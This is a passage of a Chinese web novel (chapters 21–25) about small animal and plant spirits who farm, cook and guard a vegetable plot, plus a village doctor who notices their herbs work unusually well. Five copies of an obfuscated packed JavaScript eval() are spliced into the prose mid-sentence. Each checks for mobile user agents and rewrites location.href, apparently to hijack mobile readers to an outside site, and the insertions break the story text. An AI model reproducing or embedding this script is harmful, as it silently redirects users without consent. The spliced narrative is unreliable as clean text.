小狐狸还咽着口水举起自己的碗,垫着脚往衔蝉嘴边递:“衔蝉,你也喝!我们一起喝!” “好喔!” 衔蝉也不推辞,喝了一口肉汤,咂咂嘴:“嗯,好像有点淡?” 小狐狸赶忙喝了一口,然后眼睛一亮:“不淡,好喝的!” 没什么调味的肉汤没有多余的味道,只有最纯粹的肉味,汤面上还飘着些骨髓里煮出来的油花。 小狐狸觉得这是自己这辈子喝过的最好喝的肉汤。 她小口小口的喝着汤,生怕浪费了一滴。 衔蝉看得心软,拿起筷子戳了戳锅里的肉块。 她刀工一般,切出来的肉块不太均匀,所以现在有些熟了,有些还没熟。 猫仔细的挑了几块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328192|182482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经熟了的小肉块,放到大家碗里。 “来尝尝!” 肉一进嘴,小狐狸就忍不住想要吞咽,但嘴里的肉香味又让她舍不得咽,便含着肉块细细的吮吸里面的汤汁。 三参把汤倒在她吃饭专用的小土坑里,用须须嘬了两口从土里汲取到的养分。 “这个还不错哎!” 她虽然是植物小妖,但没想到她意外的很能接受肉食! 当初的鱼汤她就吃得很香,现在的肉汤她也很喜欢! 白三姑端着碗浅尝了一口,然后淡定的放下了碗。 她学着衔蝉刚刚分肉的样子,用勺子把自己碗里的肉块挑出来,往衔蝉和小狐狸碗里放。 “我不太习惯这个味道。”大鸽子眨眨眼睛:“我觉得,还是三参的人参干更对我胃口。” 猫一拍脑袋:“昂!三姑的跟脚是鸽子,鸽子好像会更喜欢谷物坚果杂粮?” “三姑!那你先吃这些凑合凑合,等我们的南瓜土豆玉米种出来了,你肯定会喜欢的!” 大鸽子笑了:“好。” 她把碗递给衔蝉,自己站到灶台边接过了猫手里的锅铲。 “你快去吃一点,锅里我来看着吧。”这孩子忙活半天,自己还没吃上几口呢。 三参和小狐狸也连忙拉着衔蝉:“是啊是啊,衔蝉,你也吃!” 衔蝉蹲到朋友们身边,乐呵呵的跟大家一起喝起了肉汤。 等她们细细品味完一小碗肉汤后,锅里的食材也差不多都熟了。 “来来来!开饭开饭!今天大家都吃一顿好的!大家都来选自己爱吃的!” 衔蝉一声吆喝,很快大家手里就就都多了一碗扎实的肉汤。 她给小狐狸打了满满的一碗肉块,给三参打了一碗杂烩,给白三姑打了一碗萝卜干和大青叶,然后一人两个荷包蛋。 白三姑看她忙来忙去,转头也给她打了满满一碗肉,还把自己的荷包蛋分了一个给她。 “唔,好好吃!” 小狐狸吃得头都不抬,三参也扎根在土里“吃”得欢快,白三姑也吃得笑眯眯的。 衔蝉捧着碗,看着大家,边吃边乐。 21.第 21 章 一顿扎实的肉汤吃得大家都心满意足。 这顿饭后,大家种地赚钱的意愿就更旺盛了一点! “我们把这些新买的种子都种下!然后等它们熟了,我们不仅能换口味,还能下山卖钱买更多的肉!” 衔蝉振臂一呼,大家的积极性顿时就被拉满了! 三参重新变成顺拐的萝卜人,学着衔蝉的样子捡了把锄头扛在肩上。 小狐狸暂时扛不动锄头,但她一扭头,把装着种子种苗的大荷叶包拎起来,屁颠屁颠的跟着大家一起去开荒。 开荒的主力当然还是衔蝉和白三姑。 有了前两次的经验,这一次,大家都是熟练工了。 小狐狸拔草,三参刨土,衔蝉挖坑,白三姑埋种子和幼苗,大家分工合作,效率超高。 很快,原本的小菜地就又扩大了好几倍。 为了给菜地腾地方,衔蝉还带着大家哼哧哼哧的砍倒了两颗树,又清理出一大片空地来。 “好了!都种下去了!” 看着大家的劳动成果,衔蝉叉起了腰。 嘿,这整整齐齐的秧苗,看着真喜庆! 三参和小狐狸也学着衔蝉叉起了腰,仿佛已经看到了越来越美好的未来。 白三姑站在大家身后,笑吟吟的。 把所有的新种子都种下后,大家又回到东坡子洞里,开始修炼。 “今天我感觉灵力好足喔!”小狐狸开心的蹭了蹭衔蝉。 今天她吃得非常饱,而且全都是肉!她还啃了两根大骨头!嗦到了香喷喷的骨髓!感觉浑身都充满了力量! 衔蝉也咂了咂嘴:“好像是哎?” 她感受了一下~身体里流淌着的灵力,又感觉肚子好像暖呼呼的。 很舒服。 猫眯了眯眼。 三参没吭声,因为这会她还在灶台边没过来——猫和小狐狸啃不动的大骨头,最后都归了她。 这还是衔蝉出的主意。 猫说大骨头也可以做肥料,所以就把吃完了肉末和骨髓的大骨头埋在了三参吃饭的土坑里。 三参跳进去一咂摸,发现还真挺“好吃”的,便喜滋滋的留在了灶台边继续“吃饭”。 而白三姑又去空中练习飞翔了,所以现在东坡子洞里又只有衔蝉和小狐狸了。 两个肉食小妖互相依偎着修炼,倒也不觉得无聊。 因为小妖们的修炼超佛系的,只要吃饱喝足了再晒太阳晒月亮,灵力就会自动攒起来! 这种几乎不需要动脑子的修炼法子让猫很满意。 这跟以前她在村里吃饱了就晒太阳有什么区别嘛!还能跟阿琅聊天唠嗑呢! “我觉得,修炼还是挺容易的嘛。”猫感受着体内充盈的灵力,说道。 小狐狸却摇了摇头。 “不容易的。” 她比划了一下:“在你开智之前,我们修炼有那——么难。” “以前我们想吃饱都好难的。” “三参要好一点,她可以扎根在土里吃‘营养’,但是周围的树太多了,她也吃不到太多,抢不过那些树。” “还有三姑,三姑可以飞,但是天上又没有吃的。” 小南峰上实在贫瘠,小妖们想要吃饱都艰难无比。 这里几乎没有猎物,更没有粮食,所以大家都只能饥一顿饱一顿的凑合着过。 像小狐狸这样的肉食小妖更是只能靠同伴的接济度日,几乎从没吃过一顿饱饭。 在这样的情况下,想要修炼谈何容易。 “有时候饿得都要吐酸水了,根本没有力气吸收灵力。”小狐狸小声说道:“而且就算吸收到了灵力,也很难攒下来。” 因为太饿了,所有的营养也好灵力也好,都要拿去优先保证生存。 所以小妖们修炼得磕磕绊绊的,修了好些年,连化形的门槛都没摸着。 “可是衔蝉,你开智醒来之后,我们就变得好很多了!” 小狐狸眼睛亮晶晶:“能吃饱了,也能攒下灵力了!” 她开心的用爪爪搂住猫:“而且你做的汤都好好吃,灵力也好足,比晒太阳晒月亮吸收到的灵力更多!” 小狐狸第不知道多少次对猫露出了崇拜的眼神:“衔蝉,你好厉害呀!” 衔蝉这些天被大家轮番夸夸,但每次被夸,她还是会忍不住很开心。 “这没什么!以后我们都会很厉害的!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16335097|182482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猫一开口就是鸡汤:“以后我们多种地,多赚钱买肉,每天都吃饱,再攒多多的灵力,将来我们都会成为厉害的大妖!” 小狐狸重重的点头:“嗯!” 衔蝉说什么都是对的! 东坡子洞里,两个小妖一边絮絮叨叨的说着对未来的向往,一边吸收着洞外照进来的日光。 不远处的灶台边,还“生长”着一颗白白胖胖的大萝卜。 天上时不时的飞过一只雪白的大鸽子。 * 小南峰山下。 小田村里,唯一的郎中萧慧正在捏着两包板蓝根,若有所思。 她面前这两包板蓝根,一包是某天清晨莫名出现在她门口的,一包则是她今天在镇上大集上买到的。 旁人或许分辨不出来药材与药材的区别,但萧慧却是个例外。 她从小就与各种药材打交道,一眼就能辨别出哪些药材产自哪里,药效如何...... 这就是她格外关注这两包板蓝根的原因。 前些天,她在家门口收到一包疑似病人送来的“诊金”,就是这包板蓝根。 当时她只觉得这包药材品相上好,便先收下了,打算之后再跟病人们打听打听,是谁送来的。 如果能找到送药人,她再按市价给人补齐药钱。 但是问了一圈,所有病人都说没有给她送过板蓝根。 萧慧只能暂时压下疑惑,将那包板蓝根收了起来。 恰好不久后,她药铺里的板蓝根用完了,那天偏偏又来了个风寒病人,症状又重又急,眼看着人都快不行了。 萧慧情急之下,就拆了那包板蓝根,给病人开了一剂药方,并亲自为她熬好了药汁。 本来按照药方,这一剂药只能缓和病情,给病人争取到去镇上找更好的郎中的时间。 但意外的事情发生了。 就这一碗药汁下去,那病人当晚就发了一身汗,第二天居然就生龙活虎的好起来了! 病人对萧慧千恩万谢,萧慧却百思不得其解。 她很清楚自己那一剂药方该有的功效。 它本不该有那样的效力。 可病人却真真切切的好起来了! 22.第 22 章 待病人回家后,萧慧把所有的药渣都重新检查了一遍。 她想知道,究竟是什么原因,让本来已经濒危的病人重新活了过来。 她把所有的药渣全部倒出来,对着药方细细的排查。 “麻黄,甘草,防风......”每拈出一样药渣,她就会拿起来细细的观察一下,再嗅闻一遍。 她想知道是不是这次的药渣里混进了别的药物。 如果能找出那个神效的药材,以后她就能救下更多的人。 但她认认真真的排查了一遍,发现药渣里并没有多余的药材。 所有的药材,都和她开出来的药方完全吻合。 甚至连所有的药材,都是在她铺子里由她亲自抓取......等等! 萧慧忽然一顿。 这药方里,有一味药不是她药铺里的! 板蓝根! 是那一包来路不明的板蓝根! 萧慧捏起板蓝根的残渣,想了想,塞进嘴里嚼了嚼。 微苦的药味在嘴里弥漫开来。 但萧慧却越嚼越快。 她感觉,这板蓝根似乎很不同寻常! 片刻后,萧慧咽下了这一根板蓝根,额头上也渗出了细密的汗珠。 是这板蓝根! 真的是这板蓝根! 她只嚼了一根,马上就发出了一头的汗! 所以就是它,让濒危的病人及时发汗,这才好转的吗?! 看着剩下的板蓝根药渣,萧慧顿时陷入沉思。 这些板蓝根无疑是好东西。 比她花高价在镇上买的上等板蓝根还好得多。 这样立竿见影的药效,是她从未见过的。 但现在,她却感觉有点棘手了。 ——这些板蓝根的价值肯定不止五十文,那么这一大包板蓝根,她就不能白要人家的。 可是她甚至不知道是谁给她送来的这包板蓝根。 再转眼看了看另一包跟这包板蓝根品相大差不差的板蓝根,萧慧又沉默了一会。 然后又从这包在大集上买的板蓝根里抽出一根,塞进嘴里嚼了嚼。 萧慧:“......” 现在有一个好消息和一个坏消息。 好消息,她好像找到这个板蓝根的来源了。 坏消息,她不确定跟今天那位小老板有没有关系。 因为萧慧敢百分百的肯定,自己并不认识那位摆摊卖板蓝根的小老板。 如果这板蓝根果然是那小老板送来的,那她为什么要无缘无故的给自己送药来? 如果不是她送的,那就是有人从她这里买了板蓝根,然后再给她送来了? 萧慧揉了揉眉心。 算了,下次大集再去找那位小老板问问吧。 要是能找到送板蓝根的人,她说什么也得给人把钱补回去。 “师傅!吃饭啦!” 外间忽然传来一道喊声。 是萧慧铺子里收的小学徒。 她已经做好了饭菜,正在喊自家师傅去吃饭呢。 “来了。” 萧慧放下两包板蓝根,先去吃饭。 “我把师傅今天带回来的萝卜干给煮了!” 小学徒喜滋滋的端来一大碗萝卜鸡蛋汤。 “这萝卜干好得很呢!煮出来好香的!” 给师傅盛了一碗萝卜鸡蛋汤,小学徒献宝似的:“师傅快尝尝!” 萧慧笑着应了一声,接过汤碗喝了一口。 然后眼睛就亮了。 “果然是香。” 小学徒自己也打了一碗汤,喝了一口。 “唔!今天的汤怎么这么好喝?难道我厨艺又进步了吗?” 小学徒高兴的对萧慧说道:“我今天只放了两个鸡蛋,这个汤就这么香!肯定是我有进步了,对不对呀师傅?” 萧慧:“嗯?你只放了两个鸡蛋?” 她低头看了看碗里的蛋块,果然不太多。 拿起筷子,萧慧把自己碗里的蛋块夹了一筷子给小徒儿。 “都说了不要那么俭省,你现在还在长身体,要多吃些。” “咱们养了那么些鸡,也不怕供不起你吃蛋,下次多煮两个。” 小学徒却忽然一撇嘴:“师傅!我忘了告诉你了!咱家鸡被偷了!” 萧慧:“嗯?没有吧?我看那些鸡都还在呢?” 小学徒马上跟她告状:“本来前些天我就想告诉你来着,但是事情太多我给忘了!” “那天我起床喂鸡,就发现我们家的鸡仔少了两个!” 时隔多日,她想起来还是很生气。 “我到处去找过了!没有找到鸡仔的尸骨,左邻右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340327|182482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舍也问了,都说没看见有猫狗叼着鸡仔!” “所以咱们家的鸡仔肯定是被人偷了!” 她义愤填膺,萧慧却笑了一声:“所以这就是你最近都舍不得煮鸡蛋的原因?” 小学徒点头:“是啊!师傅你别笑,咱家这条件,丢了两只鸡,可是大事呢!” “你想啊,少了两只鸡仔,以后就少了两只鸡,咱们的蛋也会越来越少!” 她嘟囔着:“咱们家的蛋本来就不多,师傅还经常拿蛋去给那些贫苦小孩子吃,现在又少了两只鸡,以后的蛋岂不是更难攒了?” 所以她越想越心疼,每次煮鸡蛋都少煮了点。 “可恶的偷鸡贼!不要被我逮到了,不然我放狗咬你!”年轻气盛的小学徒骂骂咧咧。 萧慧笑着摇摇头。 “哪有偷鸡贼放着现成的蛋鸡不偷,却只偷两只鸡仔的,你别多想。” “说不定只是鸡仔夭折了,快别生气了,吃吧。” 她夹起一筷子鸡蛋堵住了小徒儿喋喋不休的嘴。 小学徒仍然不服气,一边嚼鸡蛋一边心疼丢了的两只鸡仔。 萧慧见状又夹了一筷子萝卜干给她。 泡发煮熟了的萝卜干吸饱了汤汁,重新变得丰腴起来,一口咬下去,还能在嘴里爆开鲜香的汤汁。 浓郁的萝卜的甘甜味和鸡蛋的鲜味交织在一起,让小学徒暂时忘记了鸡仔被偷的不愉快。 “这个萝卜干好好吃!师傅!你也吃!” 萧慧一吃,有些惊讶的挑了挑眉。 这萝卜干果然很鲜甜。 之前她自己也晒过萝卜干,但那个萝卜干可没有今天这个好吃。 萧慧细嚼了两口,确认这萝卜干是自己这辈子吃过的最好吃的萝卜干。 不仅萝卜味浓郁,还入口回甘。 一碗萝卜鸡蛋汤下肚,感觉整个人都由内而外的暖呼了起来。 萧慧不由得惬意的眯了眯眼睛。 真好喝啊。 一顿饭吃得她心满意足,浑身都暖洋洋的。 就好像吃了什么补汤似的,舒坦极了。 吃完饭,萧慧拿了块手帕,递给小学徒。 “你看看你,吃得这么猴急,汗都出来了,擦一擦吧。” 小学徒接过手帕,笑嘻嘻的:“师傅还说我呢,你额头也冒汗啦!” 23.第 23 章 萧慧有点意外。 因为她吃饭时一直奉行“细嚼慢咽”的养生法则,又从不吃过烫的食物,所以几乎从不会在饭桌上出汗。 今天却奇怪了,她明明吃的和平时一样慢,汤也不烫,她却冒了一头细汗! 这真是奇了。 接过小徒儿递来的手帕擦了擦汗,萧慧忽然一顿。 等等,萝卜干汤?发汗? 萧慧猛地想起,今天这个萝卜干,是卖板蓝根的小老板顺手抓了送给她的! 而恰好,萝卜温补,也是可以入药的! 那这萝卜干和先前的板蓝根...... 看来,下一次大集,她一定要去找那小老板打听点事。 至于小徒儿还在念叨的“偷鸡贼”的事情,萧慧并没有放在心上。 她现在满脑子都在想萝卜干和板蓝根的关系,哪里还顾得上这种小事。 但她的小徒儿却很在意这事,直到吃完饭还在哼哼唧唧的骂那偷鸡贼。 看着小徒儿充满怨念的背影,萧慧摇了摇头,重新回到药房。 * 小南峰上。 一道尖利的狐狸叫声打破了林间菜地的宁静。 “衔蝉!我们的菜!被咬坏了!” 一向性子绵软的小狐狸炸开毛发,怒发冲冠。 “是谁!咬坏了我们的菜?!” 听到小狐狸的怒骂声,衔蝉忙不迭的跑了过去。 这会三参不知道跑哪去了,白三姑又在天上练习飞翔,所以东坡子洞这边只有她和小狐狸在。 “怎么了怎么了?我看看!” 猫跑到菜地边,定睛一看,顿时也怒了! 因为小狐狸说的没错,她们的菜不知道被什么东西咬坏了! 她们仔仔细细照料的菜苗,眼看着都快要开花结果了,现在却七零八落的散了一地的叶子! 南瓜苗连嫩尖和刚长出来的花苞都被咬掉了,土豆苗倒了一地,红薯苗也东倒西歪,玉米苗也断了好几根! 连萝卜苗和板蓝根苗都没幸免于难,也被啃得坑坑洼洼的! 只有桃树苗逃过一劫。 整个菜地里一片狼藉,看着就让人心绞痛。 衔蝉一眼就看出菜叶子上的豁口像是什么东西的牙印,愤怒的猫当场就决定要给菜地修个围栏! “肯定是山里的野物把咱们的菜啃了!阿琅!咱们修个围栏把菜地围起来!看它们还怎么啃!” 小狐狸重重的点头:“嗯!现在就修!” 她气势汹汹的变成人形,把毛毛变成的白色袖子一撸,就往小仓库走去。 这段时间大家在仓库里存了很多处理好的竹杆和篾条,要用的时候可以直接去取。 而且小狐狸也跟着衔蝉学会了编织,现在整个小南峰上就数她的手最巧,编的竹制品又细又密又结实。 她从小仓库里抱出来一大堆竹杆和篾条,哗啦一声倒在菜地边。 衔蝉也过去跟她一起动手编栅栏。 这个不难,只需要用篾条把破开的竹杆绑在一起,再戳进地里就可以了。 在怒火中,猫和小狐狸合力,只花了半天的时间就给菜地编出了一长串一人高的围栏。 白三姑路过这边上空时,看到地里的惨状,也拍着翅膀飞下来,加入了猫和小狐狸。 再后来三参也回来了,大家就坐在一起编栅栏,骂咬菜的小贼。 一边编织栅栏,白三姑一边心疼的问道:“这些已经被啃坏的菜怎么办?还能救吗?” 衔蝉一提到这个就来气:“能是能救,但是只能救回一部分!” 那些只是叶子和花苞茎秆被啃坏的还能救一救,但有些菜连根都被刨出来啃断了,已经救不了了。 所以这一次大家的收获将会大打折扣。 原本预计的前所未有的大丰收也泡汤了,现在目测能收回预计的三分之二的产量就算不错了。 最爱惜粮食的小狐狸一听,更气了,手上的栅栏编得越发密实。 白三姑也很生气,她虽然也不全靠这块菜地谋生,但这可是她和大家一起辛辛苦苦开荒种出来的菜地啊! 那些新的菜苗,也是她和衔蝉走了很远的路,冒了很大的险,从人类集市上换来的呢! 而现在,不知道什么坏家伙,居然把她们的菜地弄成这副模样! 三参也气,这菜地里也有她很多的心血啊!可是现在都被毁了! 大家心里都憋着气,愣是围 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“是啊。”白三姑点点头:“现在应该可以放心了。” 这时天色已经黑了,月亮都升起来了。 白三姑招呼大家:“走吧,我们回去修炼了。明天再来看看。” 三个小妖应了一声,跟着她回到了东坡子洞里。 大家照旧挨在一起晒月亮,然后晒着晒着就睡着了。 衔蝉枕在小狐狸身上,也睡得咕噜噜的。 第二天。 小狐狸第一个醒来,她从干草窝窝里跳出来,又低头蹭了蹭还在熟睡的衔蝉和压在衔蝉肚皮上的三参。 “衔蝉!三参!天亮了!我们去菜地看看吧!” 猫迷迷糊糊的睁开眼睛:“好喔。” 她伸爪推了推三参,把胖萝卜也推起来。 白三姑昨晚上又回到了她的树窝里,于是三个小妖就结伴先去菜地了。 一到菜地,远远地看见完好无损的栅栏,小狐狸就松了一口气。 “栅栏还好好的!菜肯定也没事.....啊!!” 刚走过去打开栅栏门,小狐狸就跳了起来。 24.第 24 章 栅栏边,小狐狸气得跳脚:“我们的菜!怎么又被咬了?!” 衔蝉和三参也被这一声怒骂惊走了睡意,连忙跟小狐狸一起打开栅栏走进菜地里。 不看不知道,一看吓一跳! 昨天大家才补救回去的菜,今天居然又被啃了一遍! “是谁!究竟是谁干的?!”小狐狸气得快要喷火,三参也怒了。 在场最淡定应该就是衔蝉了,她走过去,蹲到被咬坏的菜旁边,捏起一撮泥土碾了碾。 然后又拿起几片散落的菜叶子。 菜叶子下的泥土格外松软,仔细看,似乎还能看见一个若隐若现的洞口。 事情很明显了,是某个不知名的坏蛋,从外面打了洞钻进了她们的菜地,并且又在里面搞了一场破坏。 三参猜测:“会打洞的东西?兔子?地鼠?盲蛇?” 衔蝉摇摇头:“光看洞口看不出来。” 但可以肯定的是,那家伙是从地下过来的! 小狐狸憋屈的瘪了瘪嘴:“那我们要怎么办?在地下也编栅栏围起来吗?” 衔蝉继续摇头:“不行,咱们的菜还需要往地下扎根呢,往地底围栅栏不现实。” 三参气呼呼的:“可是,总不能任由那可恶的小贼继续在咱们菜地里搞破坏吧?!” 衔蝉:“别急,让我想想。” 猫蹲在地里,看着一地的残枝败叶冥思苦想起来。 要怎么做,才能防止会打洞的生物钻进她们的菜地呢? “我们在这里守夜吧!”小狐狸忽然说道:“今晚上我不回东坡子洞了,我就守在这里!” 她变成还带着耳朵和尾巴的人形,一屁股坐在了菜地边上,一脸愤愤不平。 三参也连连点头:“我也来!我们一起守夜,抓住那个小贼!” 衔蝉觉得很有道理:“好!那我们今晚上就轮流守夜,把那个搞破坏的贼抓出来!” 猫握拳:“等我们抓到它,就把它拿去炖了!” 小狐狸和胖萝卜高声应和:“炖了它!” 三个小妖就这么做好了决定。 小狐狸扭头就变回原型,火速跑回东坡子洞里把干草窝窝拖进了菜地。 她往窝窝里一趴,学着衔蝉平时的样子揣起爪爪,一副她就在这里不走了的架势。 胖萝卜见状也跳进了干草窝窝里,还顺手把衔蝉也薅了进去。 “今天我们哪也不去!就在这里守着抓贼!” “好!” 就这么守了半天。 中午,白三姑飞到灶台边,纳闷的左右看了看。 平时这个点,大家都已经等在灶台边一起做饭了,今天怎么不见影子? 大鸽子喊了一声:“衔蝉,阿琅,三参,你们在吗?” 不远处的菜地栅栏里吱呀一声打开一条缝,缝里冒出一颗毛绒绒的猫猫头:“在呢在呢!三姑,我们在里面!” 白三姑看着猫头上被栅栏压扁的毛毛,笑问:“怎么都去里面了?快出来,该吃饭了,对了,菜地里没事了吧?” 一颗白绒绒的狐狸头从猫猫头上边挤出来,一脸不高兴:“菜地又被坏家伙啃了!” “对!”猫猫头和狐狸头上面又冒出一颗萝卜头:“衔蝉说是会打洞的家伙啃了咱们的菜!” 白三姑讶然:“啊?!” 她快步走过去,三个叠在一起的脑壳连忙让开,让她进来看看菜地里的惨状。 白三姑一看,倒吸一口凉气。 “怎么比昨天啃得还厉害?!” “是啊!所以我们决定守在这里,把那个可恶的小贼抓出来炖了!” 白三姑凝重的思考了一会:“也只好这样了。” 她挨个摸了摸小妖们的头:“那我去做饭,你们在这里守着,做好饭我给你们端进来。” 猫举起爪:“我跟三姑一起去做饭吧,阿琅,菜地就暂时交给你和三参了哦。” 小狐狸和胖萝卜用力点头。 很快,衔蝉和白三姑就做好了今天的饭,并端到菜地里,大家就在菜地里胡乱对付了一顿。 吃完饭,大家又继续守着菜地。 或许是因为她们都在的缘故,整个白天,菜地里都风平浪静。 没有任何不长眼的坏家伙敢来菜地里撒野。 晚上,月亮升起时,小狐狸先打了个哈欠。 但她仍旧努力睁圆了双眼,一眨不眨的看着菜地。 三参也困了。 衔蝉见状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354940|182482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就蹭了蹭两个小伙伴,低声道:“你们先睡吧,我来守前半夜,后半夜再喊你们来守。” 白三姑今天也没回树窝,而是跟大家一起蹲在了干草窝窝里。 “是啊,阿琅,三参,你们先睡,我和衔蝉一起守前半夜。” 小狐狸和胖萝卜这才点点头,迷迷糊糊的睡了过去。 后半夜,她俩果然强打精神爬了起来,让衔蝉和白三姑去睡。 一夜过去,轮流守夜的大家都没睡好。 但可喜可贺的是,菜地里一夜平静。 可恶的小贼完全没敢冒头。 “好!守夜有用!那我们继续守!” 大家齐刷刷的点头,继续轮流守夜。 为了能让大家都多睡一会,她们甚至分了四班倒。 这样每一个小妖起码能睡四分之三个晚上。 一段时间后,衔蝉揉了揉眼睛,清了清嗓子。 “咳!现在咱们有一个好消息,和一个坏消息。” 猫问大家:“先听好消息还是坏消息?” 三参第一个举手:“好消息!” 猫点头:“好消息就是守夜计划很成功,小贼没敢再来,咱们的菜也重新长出来了。” 小狐狸挂着两个眼袋,声音略虚弱的问道:“那坏消息呢?” 猫张嘴打了个哈欠。 “坏消息就是,咱们都快不行了。” 虽然大家是轮流守夜吧,但其实压根都没睡好。 而且更要命的是,她们一直在菜地边守着,几乎什么事情都做不了。 做饭得轮流去,捡柴浇水之类的杂活更是只能抽着空去做,因为随时都要留着人手看守菜地。 这极大的影响了大家的日常生活。 就连修炼都受到了影响。 白天还好,能晒晒太阳,但到了晚上,透过栅栏的月光减少了大半。 即便后来大家撤去了栅栏的顶棚,但由于晚上都没睡好,大家也没能攒下多少灵力。 ——灵力都拿去补充体力了。 偏偏最近的伙食也不太好,新的粮食还没长出来嘛,上次买的肉又吃完了,猫现在又没空去天天抓鱼。 种种因素叠加起来,最近大家都快被守夜熬干了。 25.第 25 章 熬出了黑眼圈的大家精神都不太好。 衔蝉拍爪:“再这样下去可不行!” 得想个办法,既能守住菜地,又能让大家好好休息! 小狐狸哈欠连天,感觉又困又饿,整个狐狸都有点蔫儿巴了:“那我们要怎么办啊?” 大鸽子和胖萝卜同时看向衔蝉。 猫舔了舔爪。 这是她在思考时最经常做的小动作。 “嗯......我想到了!”衔蝉忽然灵光一闪:“要不,我们去请别的小妖来帮忙吧!” “我们只有四个妖,人手不足,但如果有更多小妖来帮忙,那大家就可以按天轮流守菜地!” 到时候大家一妖值班一天,要是能凑够七个妖,那就可以一周轮换一班。 这可比她们四个轮流分上下半夜守夜效率高多了! 而且大家都是开了智,有灵力傍身的小妖,偶尔熬个夜什么的,也扛得住! 只要不是天天熬就行了! 三参抖了抖萝卜缨子:“啊,那为什么不干脆我们四个轮流按天守夜呢?” 小狐狸:“对哦,为什么不呢?” 衔蝉露出一副聪明相:“嗨呀!我们四个轮流守,那就是每隔三天就要熬一次夜,区别也不大嘛!” “但是有更多的小妖来帮忙,咱们就可以五天六天甚至七天轮值一班呀!” 三参和小狐狸恍然大悟:“对哦!” 白三姑忽然问道:“那我们要用什么去请别的小妖呢?” 她提醒道:“小南峰上并没有多少小妖。” 除了她们四个之外,这整座山头上还有另外两个植物小妖,满打满算加起来也只有六个妖。 猫摆了摆爪子:“六个也比四天好!每隔五天熬一晚上比每隔三天熬一晚上好过多啦!” 说着顺势用爪爪摸了摸下巴:“至于用什么请别的小妖嘛......吃的行不行?” 白三姑:“小南峰上另外两个小妖都是植物小妖。” 植物小妖对食物的需求并没有那么迫切。 她们扎根在土里就能吸收营养,跟三参差不多。 不,严格来说,她们比三参还要好一点。 因为三参总是把根须扒拉出来在地面上跑来跑去,从土地里吸收到的养分还不如那两个不能挪动的小妖。 衔蝉挥爪:“这个也没问题!我们可以用肥料做报酬嘛!” 经过三参的亲身体会,她们那些添加了灵力的肥料对植物小妖是很有吸引力的! 而且哪怕是普通的发酵肥料,也比贫瘠的泥土好太多了! 白三姑点点头:“也是个办法。” 衔蝉想了想,又问:“那咱们现在就去请另外两个小妖?对了,她们是什么跟脚呀?” 白三姑笑了:“就是桃子和板板呀,咱们菜地里的桃树和板蓝根都是她俩给的种子。” 猫睁大了眼睛:“啊!是她们呀!” 既然是熟妖,那肯定更好办事了! “走走走!我们现在就去请桃子和板板!”衔蝉说着就要走。 三参跳起来:“我去找板板!我跟她玩得最好!” 衔蝉:“好,那我们分头走吧!三姑,我们去找桃子!” 白三姑点点头,张开翅膀,示意大家可以爬上去,她背着大家飞,这样会更快一点。 小狐狸却在原地没动:“衔蝉,你们去找桃子和板板吧,我留下来看着菜地。” 衔蝉马上倒回去舔了一口小狐狸:“好的!那就辛苦阿琅啦!” 小狐狸并着爪爪,回舔了一下衔蝉的脑勺。 她蹲在菜地边,看着胖萝卜一溜烟的跑了,猫也熟门熟路的爬上了大鸽子的背,渐渐飞远。 * 大鸽子背上,白底橘斑的猫团成虾仁的样子,一边舔毛一边问白三姑:“三姑,桃子性格怎么样?好说话吗?” 白三姑咕咕咕的笑了几声:“等你见到她就知道了。” 她在天上盘旋了几圈,很快就带着猫,停在了一颗桃子树下。 猫仰头看了看,发现这颗桃子树并没有她想象中那么大。 桃树的主干只有碗口粗细,树冠也不太高,枝条看上去还有些细弱。 ——因为桃子树的旁边就是一颗参天大树,它虽然没有开智成精,但却能把附近的大部分养分都吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 